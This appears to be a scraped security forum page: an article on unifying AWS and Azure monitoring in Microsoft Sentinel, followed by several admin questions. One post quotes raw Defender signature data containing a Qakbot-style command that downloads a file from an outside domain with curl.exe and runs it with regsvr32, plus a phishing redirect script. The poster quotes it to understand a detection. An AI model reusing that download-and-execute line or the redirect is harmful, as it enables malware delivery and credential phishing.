Unifying AWS and Azure Security Operations with Microsoft Sentinel
The Multi-Cloud Reality Most modern enterprises operate in multi-cloud environments using Azure for core workloads and AWS for development, storage, or DevOps automation. While this approach increases agility, it also expands the attack surface. Each platform generates its own telemetry: Azure: Activity Logs, Defender for Cloud, Entra ID sign-ins, Sentinel analytics AWS: CloudTrail, GuardDuty, Config, and CloudWatch Without a unified view, security teams struggle to detect cross-cloud threats promptly. That’s where Microsoft Sentinel comes in, bridging Azure and AWS into a single, intelligent Security Operations Center (SOC). Architecture Overview Connect AWS Logs to Sentinel AWS CloudTrail via S3 Connector Enable the AWS CloudTrail connector in Sentinel. Provide your S3 bucket and IAM role ARN with read access. Sentinel will automatically normalize logs into the AWSCloudTrail table. AWS GuardDuty Connector Use the AWS GuardDuty API integration for threat detection telemetry. Detected threats, such as privilege escalation or reconnaissance, appear in Sentinel as the AWSGuardDuty table. Normalize and Enrich Data Once logs are flowing, enrich them to align with Azure activity data. Example KQL for mapping CloudTrail to Sentinel entities: AWSCloudTrail | extend AccountId = tostring(parse_json(Resources)[0].accountId) | extend User = tostring(parse_json(UserIdentity).userName) | extend IPAddress = tostring(SourceIpAddress) | project TimeGenerated, EventName, User, AccountId, IPAddress, AWSRegion Then correlate AWS and Azure activities: let AWS = AWSCloudTrail | summarize AWSActivity = count() by User, bin(TimeGenerated, 1h); let Azure = AzureActivity | summarize AzureActivity = count() by Caller, bin(TimeGenerated, 1h); AWS | join kind=inner (Azure) on $left.User == $right.Caller | where AWSActivity > 0 and AzureActivity > 0 | project TimeGenerated, User, AWSActivity, AzureActivity Automate Cross-Cloud Response Once incidents are correlated, Microsoft Sentinel Playbooks (Logic Apps) can automate your response: Example Playbook: “CrossCloud-Containment.json” Disable user in Entra ID Send a command to the AWS API via Lambda to deactivate IAM key Notify SOC in Teams Create ServiceNow ticket POST https://api.aws.amazon.com/iam/disable-access-key PATCH https://graph.microsoft.com/v1.0/users/{user-id} { "accountEnabled": false } Build a Multi-Cloud SOC Dashboard Use Sentinel Workbooks to visualize unified operations: Query 1 – CloudTrail Events by Region AWSCloudTrail | summarize Count = count() by AWSRegion | render barchart Query 2 – Unified Security Alerts union SecurityAlert, AWSGuardDuty | summarize TotalAlerts = count() by ProviderName, Severity | render piechart Scenario Incident: A compromised developer account accesses EC2 instances on AWS and then logs into Azure via the same IP. Detection Flow: CloudTrail logs → Sentinel detects unusual API calls Entra ID sign-ins → Sentinel correlates IP and user Sentinel incident triggers playbook → disables user in Entra ID, suspends AWS IAM key, notifies SOC Strengthen Governance with Defender for Cloud Enable Microsoft Defender for Cloud to: Monitor both Azure and AWS accounts from a single portal Apply CIS benchmarks for AWS resources Surface findings in Sentinel’s SecurityRecommendations table
Entity playbook in XDR
Hello All! In my Logic Apps Sentinel automations I often use the entity trigger to run some workflows. Some time ago there was information, that Sentinel will be moved to the Microsoft XDR, some of the Sentinel elements are already there. In XDR I can run playbook from the incident level, but I can't do it from the entity level - for example in the XDR when I clicked in the IP or when I open IP address page I can't find the Run playbook button or something like that. Do you know if the Run playbook on entity feature will be moved to XDR also? Best, Piotr K.
NetworkSignatureInspected
Hi, Whilst looking into something, I was thrown off by a line in a device timeline export, with ActionType of NetworkSignatureInspected, and the content. I've read this article, so understand the basics of the function: Enrich your advanced hunting experience using network layer signals from Zeek I popped over to Sentinel to widen the search as I was initially concerned, but now think it's expected behaviour as I see the same data from different devices. Can anyone provide any clarity on the contents of AdditionalFields, where the ActionType is NetworkSignatureInspected, references for example CVE-2021-44228: ${token}/sendmessage`,{method:"post",%90%00%02%10%00%00%A1%02%01%10*%A9Cj)|%00%00$%B7%B9%92I%ED%F1%91%0B\%80%8E%E4$%B9%FA%01.%EA%FA<title>redirecting...</title><script>window.location.href="https://uyjh8.phiachiphe.ru/bjop8dt8@0uv0/#%90%02%1F@%90%02%1F";%90%00!#SCPT:Trojan:BAT/Qakbot.RVB01!MTB%00%02%00%00%00z%0B%01%10%8C%BAUU)|%00%00%CBw%F9%1Af%E3%B0?\%BE%10|%CC%DA%BE%82%EC%0B%952&&curl.exe--output%25programdata%25\xlhkbo\ff\up2iob.iozv.zmhttps://neptuneimpex.com/bmm/j.png&&echo"fd"&®svr32"%90%00!#SCPT:Trojan:HTML/Phish.DMOH1!MTB%00%02%00%00%00{%0B%01%10%F5):[)|%00%00v%F0%ADS%B8i%B2%D4h%EF=E"#%C5%F1%FFl>J<scripttype="text/javascript">window.location="https:// Defender reports no issues on the device and logs (for example DeviceNetworkEvents or CommonSecurityLog) don't return any hits for the sites referenced. Any assistance with rationalising this would be great, thanks.
Custom data collection in MDE - what is default?
So you just announced the preview of "Custom data collection in Microsoft Defender for Endpoint (Preview)" which lets me ingest custom data to sentinel. Is there also an overview of what is default and what I can add? e.g. we want to examine repeating disconnects from AzureVPN clients (yes, it's most likely just Microsoft's fault, as the app ratings show 'everyone' is having them) How do I know which data I can add to DeviceCustomNetworkEvents which isnt already in DeviceNetworkEvents?
Permissions to see and manage sentinel workspace in Defender XDR
Hi Team, One of my customers recently completed their Sentinel → Defender portal migration. Initially, I didn’t have access to view the Defender portal, but after the migration I was assigned the Security Operator role in Entra (via PIM), which now allows me to access the Defender portal.However, when I navigate to: Defender portal → System → Settings → Microsoft Sentinel → Workspaces. I’m unable to view the available workspaces. The portal shows an insufficient permissions error, and I also cannot switch the primary/secondary workspace. Could you please advise on the exact permissions/roles required to: View the Sentinel workspace list in Defender, and Switch the primary workspace? Thanks in advanceXDR advanced hunting region specific endpoints
Hi, I am exploring XDR advanced hunting API to fetch data specific to Microsoft Defender for Endpoint tenants. The official documentation (https://learn.microsoft.com/en-us/defender-xdr/api-advanced-hunting) mentions to switch to Microsoft Graph advanced hunting API. I had below questions related to it: 1. To fetch the region specific(US , China, Global) token and Microsoft Graph service root endpoints(https://learn.microsoft.com/en-us/graph/deployments#app-registration-and-token-service-root-endpoints ) , is the recommended way to fetch the OpenID configuration document (https://learn.microsoft.com/en-us/entra/identity-platform/v2-protocols-oidc#fetch-the-openid-configuration-document) for a tenant ID and based on the response, the region specific SERVICE/TOKEN endpoints could be fetched? Since using it, there is no need to maintain different end points for tenants in different regions. And do we use the global service URL https://login.microsoftonline.com to fetch OpenID config document for a tenantID in any region? 2. As per the documentation, Microsoft Graph Advanced hunting API is not supported in China region (https://learn.microsoft.com/en-us/graph/api/security-security-runhuntingquery?view=graph-rest-1.0&tabs=http). In this case, is it recommended to use Microsoft XDR Advanced hunting APIs(https://learn.microsoft.com/en-us/defender-xdr/api-advanced-hunting) to support all region tenants(China, US, Global)?
MTO Portal MFA Prompt Not Loading
Hi We are using the mto portal to hunt across multiple tenants. My team get the "loading completed with errors" message and the prompt for "MFA Login Required". When they select this the window to authenticate opens and then closes instantly. When selecting the tenant name they can authenticate in a new tab directly to Defender in this tenant without any issue (but this does not carry over to the MTO portal). The old behaviour was that they selected "MFA Login Required" and they could authenticate to the tenants they needed to at that time. Is this happening to anyone else? Does anyone have any tips for managing multiple Defender instances using MTO? Thanks
